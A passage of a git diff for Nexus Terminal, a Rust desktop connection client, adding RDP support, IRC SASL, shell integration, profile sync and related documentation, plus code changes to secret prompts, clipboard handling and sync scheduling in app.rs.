 - Clear hints for permission-denied and busy ports.
 - Works with everything a terminal session supports: recording, triggers, broadcast, snippets, find and split panes.
 
+### RDP capabilities
+
+- Native RDP viewer (IronRDP) with Network Level Authentication (CredSSP/NTLM) and optional TLS-only logon for servers such as xrdp.
+- Server certificate pinned by fingerprint in Known Hosts, checked before credentials are sent.
+- Direct, SOCKS5, HTTP CONNECT, SSH-tunnelled or (experimental) RD Gateway connections.
+- Scale-to-fit or 1:1, a fixed resolution or one that follows the tab (Display Control).
+- Keyboard (scancodes for keys and shortcuts, Unicode for text), mouse and wheel; Ctrl+Alt+Del; text clipboard sharing in both directions.
+- Password storage modes, domain logon, and Kerberos through a configured KDC.
+- Remote audio playback, a printer whose jobs are saved as PostScript files, and a shared folder redirected as a drive (Linux and macOS), confined to that folder.
+
 ### VNC capabilities
 
 - Native VNC viewer inside the Nexus Terminal workspace (RFB 3.3–3.8; Raw, CopyRect, Hextile, ZRLE and Tight encodings).
@@ -153,6 +170,7 @@ Use Nexus Terminal when you need to:
 
 ### IRC capabilities
 
+- IRCv3 capability negotiation with SASL PLAIN login and server-time timestamps.
 - Nick, real name, TLS and an optional server password.
 - NickServ identification on connect.
 - Auto-join rooms.
@@ -217,7 +235,7 @@ Use Nexus Terminal when you need to:
 - Secret store settings.
 - Known hosts management.
 - Help topics and troubleshooting inside Settings.
-- A background update check at launch, and a manual check in Settings → About.
+- A background update check at launch (can be turned off in Settings → General), and a manual check in Settings → About.
 
 ## Website-ready summary
 
@@ -227,7 +245,7 @@ Nexus Terminal: one native desktop workspace for SSH, files, sockets, serial con
 
 ### Suggested subheadline
 
-Manage SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local shell sessions from a fast tabbed interface with secure credentials, SFTP file transfer, split panes, snippets, recordings and automation built in.
+Manage SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local shell sessions from a fast tabbed interface with secure credentials, SFTP file transfer, split panes, snippets, recordings and automation built in.
 
 ### Short product description
 
@@ -235,7 +253,7 @@ Nexus Terminal helps developers, operators, support engineers, network and hardw
 
 ### Product page feature bullets
 
-- All-in-one connection workspace for SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local shells.
+- All-in-one connection workspace for SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local shells.
 - Native and fast: no webview, with a terminal that stays responsive under heavy output.
 - Multi-session interface with tabs, pinned sessions, split panes, reconnect and broadcast input.
 - Rich SSH support including agent auth and forwarding, TOTP, jump hosts, proxies, port forwarding, startup commands, login scripts and host key policies.

docs/quick-start.md

@@ -1,6 +1,6 @@
 # Nexus Terminal Quick Start
 
-Nexus Terminal is a native desktop client for SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminal sessions. This page is a shareable quick start for everyday use.
+Nexus Terminal is a native desktop client for SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local terminal sessions. This page is a shareable quick start for everyday use.
 
 ## Get connected in minutes
 
@@ -32,6 +32,10 @@ Create a **Serial** profile, pick the device from the list (click refresh after
 
 Create a **VNC** profile for remote desktop sessions. Use the SSH tunnel option when possible, especially outside trusted networks. Direct VNC is available for isolated or trusted networks, but classic VNC traffic is not encrypted, so Nexus Terminal asks before connecting without a tunnel.
 
+## RDP remote desktops
+
+Create an **RDP** profile with the host, your username and, if needed, a domain. Windows servers use Network Level Authentication by default; for xrdp and other servers without it, tick **Allow servers without NLA**. The first connection shows the server certificate's fingerprint to trust. Use the **Proxy** or **SSH Tunnel** sections to reach desktops behind a jump host or proxy.
+
 ## File transfers on SSH
 
 Click the **folder** icon on an SSH tab to open the SFTP browser. You can browse, upload, download, rename and delete files, create folders and bookmark locations.
@@ -55,10 +59,6 @@ The upload picker lists folders only and marks permissions:
 - Each password, passphrase or token can be saved, remembered for the session only, or asked for every time.
 - SSH host key checks can be set per profile (Strict, Ask, Accept new, Insecure).
 
-## Coming from Alchementary Link
-
-Your profiles, vault and recordings are copied across automatically on first run, and keychain entries are picked up the first time they are needed. Your old Alchementary Link data is left untouched.
-
 ## Common shortcuts
 
 | macOS Shortcut  | Windows/Linux Shortcut | Action                   |

docs/user-manual.md

@@ -16,7 +16,7 @@
 12. Security and credentials
 13. Import and export
 14. Settings and updates
-15. Data locations and migration from Alchementary Link
+15. Data locations
 16. Troubleshooting
 
 ---
@@ -105,7 +105,7 @@ If you connect to a profile that already has a live session, Nexus Terminal asks
 - **Key & Passphrase**: choose a key from the suggestions (keys in `~/.ssh`), click **Browse**, or type a full path (`~` is not expanded). The editor checks that the file exists and is a private key.
 - **Host Verification**: the host key policy (see section 12).
 - **Jump Hosts**: one or more bastions, each with user, host, port and an optional key. Nexus Terminal tunnels through each hop in order.
-- **Port Forwarding**: local and remote forwards, each with a bind address and port, destination, label and an **Active** box to start it on connect.
+- **Port Forwarding**: local and remote forwards, each with a bind address and port, destination, label and an **Active** box to start it on connect. A remote forward with no bind address listens on the server's loopback only (as `ssh -R` does); set it to `0.0.0.0` to expose it to the server's network, which also needs `GatewayPorts` on the server.
 - **Startup**: a startup command and environment variables (`KEY=VALUE`, one per line).
 - **Login Script**: expect-style steps (see below).
 - **SSH Agent**: agent authentication and **Forward Agent to Remote** (like `ssh -A`).
@@ -162,11 +162,27 @@ The viewer's toolbar shows the connection state and desktop size, and has button
 
 Use SSH tunnelling for VNC whenever possible. If a VNC profile has no tunnel, Nexus Terminal warns that the traffic is unencrypted and offers **Connect Anyway**, **Edit Profile** or **Cancel**.
 
+### RDP
+
+- **RDP**: domain (optional), password storage mode, **Certificate Policy** and **Allow servers without NLA**. The username, host and port (3389) are the profile's own.
+- **Display**: **Scale to Fit**, a fixed **Width** and **Height** (0 × 0 fits the tab) and **Resize With Tab**.
+- **RD Gateway** (experimental): reach the desktop through a Remote Desktop Gateway (`host` or `host:port`) with its own username and password. The gateway's certificate must be valid for its name (public CA); only gateways that accept Basic authentication over HTTPS work.
+- **Proxy**: **SOCKS5** or **HTTP CONNECT**, with an optional username and password.
+- **Devices**: **Play Remote Audio**; **Redirect Printer**, which adds a *Nexus Terminal* printer on the remote desktop whose jobs are saved as PostScript files in your Downloads folder (up to 256 MiB per job); and on Linux and macOS a **Shared Folder** that appears on the remote desktop as a drive named Nexus. The server can read and change everything in that folder and nothing outside it: paths that try to leave it (`..`, or symlinks pointing elsewhere) are refused.
+- **SSH Tunnel**: carry RDP through SSH, as for VNC. Use either a proxy or a tunnel, not both.
+
+Nexus Terminal logs on with Network Level Authentication (CredSSP), so your password is checked before a session is set up. It uses NTLM unless you set a **Kerberos KDC** (`host` or `host:port`), in which case it gets a Kerberos ticket from that KDC over TCP; the KDC must be reachable directly (not through the profile's proxy or tunnel). Use your Kerberos realm as the domain. Servers without NLA, such as xrdp, need **Allow servers without NLA**; the password is then passed to the server's own logon. Smart cards are not supported.
+
+RDP servers usually present self-signed certificates, so the certificate is pinned like an SSH host key: its SHA-256 fingerprint is shown the first time and stored in **Known Hosts**, and a changed certificate offers Reject, Accept Once or Accept & Update. The check happens before any credentials are sent.
+
+The viewer works like the VNC one: click the desktop to give it keyboard focus, **Ctrl+Alt+Del** sends the key combination, and text is shared through the clipboard both ways: text you copy on the remote desktop arrives on your clipboard (subject to the remote-clipboard setting), and your clipboard is sent to the remote desktop only when you paste (Ctrl+V / Cmd+V on the desktop, or **Paste Clipboard**), so a server can't read what you last copied. Files and images are not shared. With **Resize With Tab**, the remote desktop follows the tab's size on servers that support it (Windows); otherwise the picture is scaled.
+
 ### IRC
 
 - **IRC**: nick, real name, **Use TLS** (port 6697 for most TLS networks) and an optional server password.
+- **SASL**: log in during registration with SASL PLAIN (account defaults to your nick), which most networks now expect; Nexus Terminal only sends it (or a server or NickServ password) over TLS, an SSH tunnel or to a server on this machine; on a plain connection the Server tab says the password was held back. If the network doesn't offer SASL or rejects the login, the Server tab says so and the connection carries on.
 - **NickServ**: identify on connect, with an optional account name and password.
-- **Rooms**: rooms to join automatically, one per line or comma-separated.
+- **Rooms**: rooms to join automatically, one per line or comma-separated. Networks that support IRCv3 server-time stamp messages with the time they were sent, so replayed history shows its real times.
 - **SSH Tunnel** and **Reconnection** settings.
 
 The IRC view has a **Server** tab and a tab per room or conversation, with a dot on tabs that have unread messages. Type messages or `/commands` in the composer (`/join`, `/part`, `/msg`, `/me`, `/notice`, `/nick`, `/topic`, `/list`, `/names`, `/whois`, `/who`, `/raw`, `/quit`, `/help`). Press **Tab** to complete a nick, or click a nick to mention it. The side panel lists joined rooms, a room browser with a filter (click a room to join it), and the users in the current room.
@@ -203,12 +219,42 @@ A new pane offers **Local Machine** and your terminal profiles (SSH, Telnet and
 
 ## 6. Terminal actions and search
 
+### Inline images
+
+Programs that print images in the iTerm2 format (`imgcat`, `wezterm imgcat`, `chafa -f iterm`) show PNG, JPEG and GIF (first frame) images inline, sized as the program asks and never wider than the terminal; the text continues below the image. Images scroll with the text and are dropped with the scrollback. Very large images (over 8192 pixels a side) are ignored, and each terminal keeps at most 32 megapixels of images, dropping the oldest. Sixel and kitty graphics aren't supported.
+
+### Shell integration
+
+When the shell marks its prompts and commands (the OSC 133 sequences), Nexus Terminal knows where each command starts and ends:
+
+- **Ctrl+Shift+Up / Ctrl+Shift+Down** (**Cmd+Shift** on macOS), or **Previous Prompt** / **Next Prompt** in the right-click menu, jump between prompts in the scrollback.
+- **Copy Last Command Output** in the right-click menu copies what the last finished command printed.
+- A thin bar beside each finished command's prompt shows how it ended: green for success, red for a non-zero exit. Hover it for the exit code and how long the command took.
+
+fish 4 and several prompt themes (Starship, Powerlevel10k with its shell integration option) send the marks already. For bash, add this to `~/.bashrc` on the machine the shell runs on:
+
+```bash
+PS0='\[\e]133;C\a\]'
+PROMPT_COMMAND='printf "\033]133;D;%s\007" "$?"; '"${PROMPT_COMMAND}"
+PS1='\[\e]133;A\a\]'"$PS1"'\[\e]133;B\a\]'
+```
+
+For zsh, add to `~/.zshrc`:
+
+```zsh
+precmd() { print -Pn "\e]133;D;$?\a\e]133;A\a" }
+preexec() { print -n "\e]133;C\a" }
+PS1="$PS1%{\e]133;B\a%}"
+```
+
+Shells that also report their working directory (OSC 7; fish, and zsh/bash with the usual `printf '\e]7;file://%s%s\a' "$HOSTNAME" "$PWD"` hook) let **SFTP Browser** open in that directory.
+
 ### Keyboard and mouse
 
 - **Copy**: select text and press **Cmd+C** / **Ctrl+C**. With nothing selected, **Ctrl+C** sends an interrupt as usual.
 - **Paste**: **Cmd+V** / **Ctrl+V**. Pastes are bracketed when the remote application asks for it.
 - **Select**: drag to select, double-click for a word, triple-click for a line, Shift-click to extend.
-- **Links**: hold **Cmd** / **Ctrl** and click a web link to open it in your browser.
+- **Links**: hold **Cmd** / **Ctrl** and click a web link to open it in your browser. Programs can also print real hyperlinks (OSC 8, as `ls --hyperlink` and many build tools do); these have a dotted underline, and hovering one shows where it really points. Only http(s) links are opened.
 - **Scroll**: the mouse wheel, or **Shift+PageUp**, **Shift+PageDown**, **Shift+Home** and **Shift+End**. On the alternate screen (for example in `tmux`, `screen`, `byobu` or `less`) the wheel sends arrow keys instead.
 - Applications that use the mouse (such as `htop`, `vim` or `tmux` with mouse mode) receive mouse clicks and the wheel directly.
 
@@ -360,6 +406,10 @@ Choose one of the following policies per SSH profile:
 - **Accept new, reject changed**: trust first-time keys automatically.
 - **Insecure (accept anything)**: accept any key (not recommended).
 
+**Settings → Known Hosts** can **Import ~/.ssh/known_hosts** (hashed host names can't be read back and are skipped) and **Export…** the list in OpenSSH format, so Nexus Terminal and `ssh` can share what they trust.
+
+**SSH certificates.** **Trust a CA…** adds a certificate authority for a host pattern in OpenSSH syntax (`*.example.com`, `[host]:2222`, `!excluded.example.com`; `@cert-authority` lines in an imported known_hosts work too). Servers covered by a trusted CA are asked for their host certificate, and a certificate that the CA signed, that names the host and that is in date is trusted without a first-use prompt; any other certificate is refused. For logging in, a user certificate next to your key (`id_ed25519-cert.pub` beside `id_ed25519`) is used automatically.
+
 Under every policy except Insecure, a key that differs from the saved one is rejected. Nexus Terminal keeps its own known-hosts list and does not read `~/.ssh/known_hosts`. Review and remove entries in **Settings → Known Hosts**; click a fingerprint to copy it.
 
 ### TOTP / 2FA
@@ -378,9 +428,20 @@ Connections, disconnections, profile changes, credential access, imports and exp
 
 ## 13. Import and export
 
+### Profile sync
+
+**Settings → Security → Profile sync** keeps connection profiles the same on several machines. Choose a folder all of them can reach (a Dropbox, iCloud Drive, OneDrive or Nextcloud folder, a network share, or a git checkout you commit), and set the same **sync password** on each. Nexus Terminal keeps one encrypted file there, `nexus-profiles.nexus` (Argon2id + AES-256-GCM, like an encrypted export), and merges it at launch, a few seconds after you change a profile, every ten minutes and when you click **Sync Now**:
+
+- for a profile changed on both sides, the more recent change wins;
+- a profile deleted on one machine is deleted on the others (unless it was edited after the deletion);
+- saved passwords, keys and tokens are never synced; each machine keeps its own in its keychain or vault. Values that a login script `send`s (including a password typed after a `wait "Password:"`) are part of the profile and do travel, as they do in an export;
+- timestamps in the shared file are never trusted beyond the local clock, so a file edited to claim a future date can't override later local changes;
+- if a synced (or imported) profile now points at a different host, user, GitHub API URL or RD Gateway, this machine forgets the credentials it had saved for it and asks again, rather than sending them to the new destination.
+
+
 - **Encrypted export**: **File → Export profiles…**, the sidebar footer, the command palette, or **Export…** on a profile's right-click menu. Choose the profiles, set a password and save a `.nexus` file. Credentials saved in the keychain or vault are not included.
-- **Encrypted import**: **File → Import profiles…** or the sidebar footer. Choose a `.nexus` file (or a `.link` file from Alchementary Link), enter its password, and choose what happens when a profile already exists: **Skip existing**, **Overwrite existing** or **Create duplicates**.
-- **JSON export and import**: **Export Profiles (JSON)** and **Import Profiles (JSON)** in the command palette. JSON export includes every profile; tick **Include secrets** to keep inline proxy passwords and TOTP secrets, which are otherwise removed.
+- **Encrypted import**: **File → Import profiles…** or the sidebar footer. Choose a `.nexus` file, enter its password, and choose what happens when a profile already exists: **Skip existing**, **Overwrite existing** or **Create duplicates**.
+- **JSON export and import**: **Export Profiles (JSON)** and **Import Profiles (JSON)** in the command palette. JSON export includes every profile; passwords in login-script `send` steps that answer a password prompt are blanked unless you tick **Include secrets**. Proxy passwords and TOTP secrets live in the keychain or vault, never in the profile, so no export carries them.
 - **OpenSSH config**: **File → Import ~/.ssh/config** or **Settings → About → Import ~/.ssh/config** creates profiles from your `Host` blocks, including hostnames, usernames, ports, identity files and jump hosts.
 
 ---
@@ -389,10 +450,11 @@ Connections, disconnections, profile changes, credential access, imports and exp
 
 Open settings with **Cmd+,** (macOS) or **Ctrl+,** (Windows/Linux), the sidebar footer, or **File → Settings**. Click **Save** to apply changes.
 
-- **General**: app theme (Pro, Midnight or Light), default protocol, confirm on close, confirm on disconnect, status bar, sidebar width, and local shell (leave empty for the system default; **Browse…** to pick one).
+- **General**: app theme (Pro, Midnight or Light), default protocol, restore tabs at launch (reopens the last session's tabs and split panes: saved connections reconnect, local shells start in the directory they were in; Quick Connect tabs aren't restored), confirm on close, confirm on disconnect, remote clipboard writes (OSC 52 and VNC; a toast shows what was copied), multi-line paste confirmation, the launch-time update check, status bar, sidebar width, and local shell (leave empty for the system default; **Browse…** to pick one).
 - **Terminal**: colour scheme, font family, font size, scrollback lines and cursor style. These are the defaults for new profiles; profiles can override them.
-- **Security**: keychain and vault status; initialise, unlock or lock the secret store.
-- **Known Hosts**: saved host keys with first-seen and last-seen times, and **Remove**.
+- **Security**: keychain and vault status; initialise, unlock or lock the secret store; **Change Master Password…** (re-encrypts every saved credential under the new password in one step); **Stored credentials**, listing each profile's saved passwords, passphrases and tokens and whether they're in the keychain or the vault, with **Forget**; and profile sync.
+- **Known Hosts**: saved host keys with first-seen and last-seen times, and **Remove**; import/export `~/.ssh/known_hosts` and trusted SSH certificate authorities.
+- **Diagnostics**: version, platform, data, database and log locations, keychain and vault state, counts and sync status, with **Copy Diagnostics** for bug reports (no credentials are included).
 - **Help**: built-in help topics, including connection types, shortcuts and troubleshooting.
 - **About**: version, **Check for Updates**, and **Import ~/.ssh/config**.
 
@@ -404,7 +466,7 @@ Nexus Terminal checks for a new version once at launch. When one is available, t
 
 ---
 
-## 15. Data locations and migration from Alchementary Link
+## 15. Data locations
 
 ### Data locations
 
@@ -421,18 +483,10 @@ The directory holds:
 - `recordings/` — session recordings
 - `triggers.json` — trigger rules
 - `sftp-bookmarks.json` — SFTP bookmarks
+- `nexus.log` — the diagnostic log (owner-only, rotated to `nexus.log.1` at 5 MiB): connections, reconnects, host-key and certificate checks and errors. Credentials and terminal contents are never logged. Set `RUST_LOG` (for example `RUST_LOG=debug`) for more detail; it then also goes to the terminal you started Nexus Terminal from.
 
 Credentials saved in the OS keychain are stored under the service name `NexusTerminal`.
 
-### Migrating from Alchementary Link
-
-On first run, if Nexus Terminal has no database yet and an Alchementary Link data directory (`AlchementaryLink`, in the same parent folder) exists, Nexus Terminal **copies** `link.db` to `nexus.db`, along with the `vault/` and `recordings/` directories, and shows a toast saying where the data came from. The Alchementary Link directory is left untouched.
-
-- If a `NexusTerminal/nexus.db` already exists (for example from a version before the Alchementary Link rebrand), it is used as-is and nothing is copied.
-- Keychain entries saved under `AlchementaryLink` are found the first time they are needed and copied to `NexusTerminal`. The old entries are not deleted.
-- Your vault master password is unchanged.
-- Trigger rules and SFTP bookmarks from Alchementary Link are not migrated; recreate them in Nexus Terminal.
-
 ---
 
 ## 16. Troubleshooting

release.sh

@@ -1,3 +1,5 @@
 #!/usr/bin/env bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright (C) 2026 Andy Dixon
 # Release builds live with the Rust workspace; see docs/build-and-release.md.
 exec "$(dirname "${BASH_SOURCE[0]}")/rust/release.sh" "$@"

rust/.cargo/audit.toml

@@ -0,0 +1,9 @@
+# cargo audit configuration (CI runs `cargo audit` from rust/).
+[advisories]
+ignore = [
+    # 2026-10-12: rsa Marvin timing side channel, pulled in by russh's `rsa` feature. No fixed
+    # release exists. The client signs once per user-initiated connection, so collecting enough
+    # timings is impractical; Ed25519 is the default for generated keys. Re-check when rsa ships a
+    # constant-time release (SEC-20261012-012).
+    "RUSTSEC-2023-0071",
+]

rust/Cargo.toml

@@ -1,10 +1,14 @@
 [workspace]
 resolver = "3"
 members = ["core", "app"]
+exclude = ["fuzz"]
 
 [workspace.package]
-version = "0.1.0"
+version = "3.0.2"
 edition = "2024"
+license = "AGPL-3.0-only"
+authors = ["Andy Dixon <andy@dixon.cx>"]
+repository = "https://github.com/andydixon/nexus"
 
 [profile.dev.package."*"]
 opt-level = 2
@@ -15,3 +19,10 @@ opt-level = 2
 
 [profile.release]
 lto = "thin"
+
+# IronRDP compatibility patches; see vendor/README.md for what each changes and when to drop it.
+[patch.crates-io]
+picky = { path = "vendor/picky" }
+sspi = { path = "vendor/sspi" }
+ironrdp-session = { path = "vendor/ironrdp-session" }
+ironrdp-mstsgu = { path = "vendor/ironrdp-mstsgu" }

rust/app/Cargo.toml

@@ -2,6 +2,9 @@
 name = "nexus"
 version.workspace = true
 edition.workspace = true
+license.workspace = true
+authors.workspace = true
+repository.workspace = true
 build = "build.rs"
 
 [[bin]]
@@ -10,11 +13,16 @@ path = "src/main.rs"
 
 [dependencies]
 nexus-core = { path = "../core" }
-eframe = { version = "0.36", default-features = false, features = ["default_fonts", "glow", "wayland", "x11", "accesskit", "persistence"] }
+eframe = { version = "0.36", default-features = false, features = ["default_fonts", "glow", "wayland", "x11", "accesskit", "persistence", "links"] }
 egui = "0.36"
+parking_lot = "0.12"
+zeroize = "1"
+tracing = "0.1"
+tracing-subscriber = { version = "0.3", default-features = false, features = ["fmt", "env-filter", "std", "ansi"] }
 egui-phosphor = "0.14"
 rfd = "0.17"
-image = { version = "0.25", default-features = false, features = ["png"] }
+image = { version = "0.25", default-features = false, features = ["png", "gif"] }
+base64 = "0.22"
 serde = { version = "1", features = ["derive"] }
 serde_json = "1"
 regex = "1"
@@ -24,3 +32,10 @@ arboard = "3.6.1"
 
 [build-dependencies]
 winresource = "0.1"
+
+[target.'cfg(unix)'.dependencies]
+libc = "0.2"
+
+[target.'cfg(target_os = "macos")'.dependencies]
+objc2 = "0.6.4"
+objc2-app-kit = { version = "0.3.2", default-features = false, features = ["std", "NSApplication", "NSResponder"] }

rust/app/build.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! Embeds the icon and version info into the Windows executable.
 fn main() {
     println!("cargo:rerun-if-changed=../packaging/windows/nexus.ico");

rust/app/src/app.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! The main window: title bar, connection sidebar, tab strip and workspace (terminals, split
 //! panes, protocol viewers), right dock (SFTP or the profile editor), status bar, command
 //! palette, prompts and toasts. Session events from nexus-core are drained here every frame.
@@ -10,10 +13,11 @@ use crate::{chrome, forwards, profile_editor, quick_connect, recordings, setting
 use egui::{Key, KeyboardShortcut, Modifiers, Ui};
 use nexus_core::models::{Profile, Protocol, SessionInfo, SessionState};
 use nexus_core::service::Service;
-use nexus_core::sessions::Event;
+use nexus_core::sessions::{Event, HostKeyDecision};
+use parking_lot::Mutex;
 use std::collections::VecDeque;
 use std::path::PathBuf;
-use std::sync::{Arc, Mutex, mpsc};
+use std::sync::{Arc, mpsc};
 
 pub struct Options {
     pub screenshot: Option<PathBuf>,
@@ -37,13 +41,33 @@ pub struct Options {
 static POSTED: Mutex<Vec<String>> = Mutex::new(Vec::new());
 
 pub fn post_error(e: String) {
-    POSTED.lock().unwrap().push(e);
+    POSTED.lock().push(e);
+}
+
+/// For the panic hook: the panicking thread may already hold the lock.
+pub fn post_error_nonblocking(e: String) {
+    if let Some(mut p) = POSTED.try_lock() {
+        p.push(e);
+    }
 }
 
 /// A credential or host-key question from a connecting session.
 pub enum Prompt {
-    Secret { session: String, title: String, message: String, value: String, reply: mpsc::Sender<String> },
-    HostKey { host: String, key_type: String, fingerprint: String, reply: mpsc::Sender<bool> },
+    /// `value` is wiped when the prompt is dropped (answered, cancelled or abandoned).
+    Secret {
+        session: String,
+        title: String,
+        message: String,
+        value: zeroize::Zeroizing<String>,
+        reply: mpsc::Sender<String>,
+    },
+    HostKey {
+        host: String,
+        key_type: String,
+        fingerprint: String,
+        stored: Option<String>,
+        reply: mpsc::Sender<HostKeyDecision>,
+    },
 }
 
 /// Modal dialogs owned by the main window.
@@ -70,6 +94,11 @@ pub enum Dialog {
     Broadcast {
         picks: Vec<(String, String, bool)>,
     },
+    /// Multi-line paste into a terminal without bracketed paste.
+    ConfirmPaste {
+        session: String,
+        text: String,
+    },
     /// Guided help for an auth or host-key failure.
     Guided {
         session: String,
@@ -95,6 +124,13 @@ pub enum InputThen {
 
 pub struct App {
     pub s: Shared,
+    /// The tab layout as last saved for restoring (see restore.rs), and when it was last checked.
+    pub saved_layout: Option<String>,
+    layout_checked: f64,
+    /// A profile sync in flight; when the next automatic one is due; whether it was asked for.
+    sync_job: Option<crate::settings::Job<Result<nexus_core::service::SyncReport, String>>>,
+    sync_due: f64,
+    sync_manual: bool,
     rx: mpsc::Receiver<Event>,
     pub theme: ThemeKind,
     pub editor: profile_editor::ProfileEditor,
@@ -136,7 +172,7 @@ impl App {
         let ctx = cc.egui_ctx.clone();
         let tx = Mutex::new(tx);
         svc.sessions.set_sink(Arc::new(move |e| {
-            let _ = tx.lock().unwrap().send(e);
+            let _ = tx.lock().send(e);
             ctx.request_repaint();
         }));
         let s = Shared::new(svc.clone(), cc.egui_ctx.clone());
@@ -169,7 +205,16 @@ impl App {
             answers: opts.answers,
             run_local: opts.run_local.map(|c| (c, None)),
             resize_sidebar: false,
+            saved_layout: None,
+            layout_checked: 0.0,
+            sync_job: None,
+            sync_due: 0.0,
+            sync_manual: false,
         };
+        let restore = opts.connect.is_empty() && app.run_local.is_none() && opts.open.is_none() && app.s.prefs.restore_sessions;
+        if restore {
+            crate::restore::restore(&mut app);
+        }
         for c in &opts.connect {
             match app.s.profiles.iter().find(|p| &p.id == c || &p.display_name == c).map(|p| p.id.clone()) {
                 Some(id) => app.connect_profile(&id, true),
@@ -184,11 +229,8 @@ impl App {
             *sid = Some(id.clone());
             app.add_session(&id, true);
         }
-        if let Some(from) = &svc.config.migrated_from {
-            app.s.success(format!("Imported your Alchementary Link data from {}", from.display()));
-        }
         // Background update check, once per launch.
-        if app.screenshot.is_none() {
+        if app.screenshot.is_none() && app.s.prefs.check_for_updates {
             let svc2 = svc.clone();
             let ctx = cc.egui_ctx.clone();
             std::thread::spawn(move || {
@@ -213,6 +255,7 @@ impl App {
                 "terminal" => SettingsTab::Terminal,
                 "security" => SettingsTab::Security,
                 "knownhosts" => SettingsTab::KnownHosts,
+                "diagnostics" => SettingsTab::Diagnostics,
                 "help" => SettingsTab::Help,
                 "about" => SettingsTab::About,
                 _ => SettingsTab::General,
@@ -236,7 +279,7 @@ impl App {
             (Protocol::Raw, Some(p)) => View::Raw(Box::new(crate::raw_view::RawView::new(&info.id, p))),
             (Protocol::Irc, Some(p)) => View::Irc(Box::new(crate::irc_view::IrcView::new(&info.id, p))),
             (Protocol::Github, Some(p)) => View::Github(Box::new(crate::github_view::GithubView::new(&info.id, &p.display_name))),
-            (Protocol::Vnc, Some(p)) => View::Vnc(Box::new(crate::vnc_view::VncView::new(&info.id, p))),
+            (Protocol::Vnc | Protocol::Rdp, Some(p)) => View::Desktop(Box::new(crate::desktop_view::DesktopView::new(&info.id, p))),
             (_, p) => {
                 let (scroll, size, cursor) = match p {
                     Some(p) => (p.terminal_scrollback, p.terminal_font_size, p.terminal_cursor_style.clone()),
@@ -400,7 +443,7 @@ impl App {
     // --- events ---------------------------------------------------------------------------
 
     fn drain_events(&mut self) {
-        for e in POSTED.lock().unwrap().drain(..) {
+        for e in POSTED.lock().drain(..) {
             self.s.error(e);
         }
         while let Ok(e) = self.rx.try_recv() {
@@ -461,6 +504,8 @@ impl App {
                     v.on_error(error);
                 }
             }
+            Event::Warning { message, .. } => self.s.error(message),
+            Event::Info { message, .. } => self.s.success(message),
             Event::Irc { session, event } => {
                 if let Some(View::Irc(v)) = self.s.panes.get_mut(&session).map(|p| &mut p.view) {
                     v.on_event(event);
@@ -493,18 +538,18 @@ impl App {
                 let _ = (session, title, message, reply.send(self.answers.remove(0)));
             }
             Event::SecretPrompt { session, title, message, reply } => {
-                self.prompts.push_back(Prompt::Secret { session, title, message, value: String::new(), reply });
+                self.prompts.push_back(Prompt::Secret { session, title, message, value: Default::default(), reply });
             }
-            Event::HostKeyVerify { host, key_type, fingerprint, reply, .. } => {
-                self.prompts.push_back(Prompt::HostKey { host, key_type, fingerprint, reply });
+            Event::HostKeyVerify { host, key_type, fingerprint, stored, reply, .. } => {
+                self.prompts.push_back(Prompt::HostKey { host, key_type, fingerprint, stored, reply });
             }
-            Event::VncReady { session } => {
-                if let Some(View::Vnc(v)) = self.s.panes.get_mut(&session).map(|p| &mut p.view) {
+            Event::DesktopReady { session } => {
+                if let Some(View::Desktop(v)) = self.s.panes.get_mut(&session).map(|p| &mut p.view) {
                     v.on_ready();
                 }
             }
-            Event::VncFrame { .. } => {}
-            Event::VncClipboard { text, .. } => self.s.ctx.copy_text(text),
+            Event::DesktopFrame { .. } => {}
+            Event::DesktopClipboard { text, .. } => self.remote_clipboard(&text),
         }
     }
 
@@ -572,11 +617,23 @@ impl App {
                 Request::Connect(id) => self.connect_profile(&id, false),
                 Request::ConnectQuick(p) => {
                     let name = if p.display_name.is_empty() { p.host.clone() } else { p.display_name.clone() };
-                    let sid = self.s.svc.connect_quick(p);
+                    match self.s.svc.connect_quick(p) {
+                        Ok(sid) => {
                             self.add_session(&sid, true);
                             self.s.info(format!("Connecting to {name}…"));
                         }
-                Request::ReloadProfiles => self.s.reload_profiles(),
+                        Err(e) => self.s.error(format!("Can't connect to {name}: {e}")),
+                    }
+                }
+                Request::ReloadProfiles => {
+                    self.s.reload_profiles();
+                    // A profile changed: sync it out shortly (batched with any further edits).
+                    self.sync_due = self.sync_due.min(self.s.now + 3.0);
+                }
+                Request::SyncProfiles => {
+                    self.sync_manual = true;
+                    self.sync_due = 0.0;
+                }
                 Request::ReloadPreferences => {
                     self.s.prefs = self.s.svc.preferences();
                     self.resize_sidebar = true;
@@ -585,7 +642,13 @@ impl App {
                 }
                 Request::ExportEncrypted(ids) => self.transfer.export_encrypted(ids),
                 Request::ImportEncrypted => self.transfer.import_encrypted(),
-                Request::Sftp(id) => self.sftp.toggle(&id),
+                Request::Sftp(id) => {
+                    let at = match self.s.pane(&id).map(|p| &p.view) {
+                        Some(View::Terminal(t)) => t.reported_cwd.as_ref().map(|c| c.1.clone()),
+                        _ => None,
+                    };
+                    self.sftp.toggle(&id, at);
+                }
                 Request::SendToActive(text) => match self.s.focused_session() {
                     Some(id) if self.s.session_state(&id) == Some(SessionState::Connected) => self.send_input(&id, text.as_bytes()),
                     _ => self.s.error("No active connected session"),
@@ -728,6 +791,53 @@ impl App {
         }
     }
 
+    /// A remote host (OSC 52 or VNC) wants to set the clipboard: allowed per preference, and always
+    /// announced so a silent swap can't set up a paste into another shell.
+    pub fn remote_clipboard(&mut self, text: &str) {
+        if self.s.prefs.allow_remote_clipboard {
+            self.s.ctx.copy_text(text.into());
+            self.s.info(format!("Remote host set the clipboard: {}", clipboard_summary(text)));
+        } else {
+            self.s.info("Blocked a remote clipboard write (Settings → General to allow)");
+        }
+    }
+
+    /// Profile sync: at launch, a few seconds after a profile changes, every 10 minutes and on
+    /// request, when a folder and password are set. Automatic runs stay quiet unless something
+    /// changed or a manual one failed.
+    fn drive_sync(&mut self, ctx: &egui::Context) {
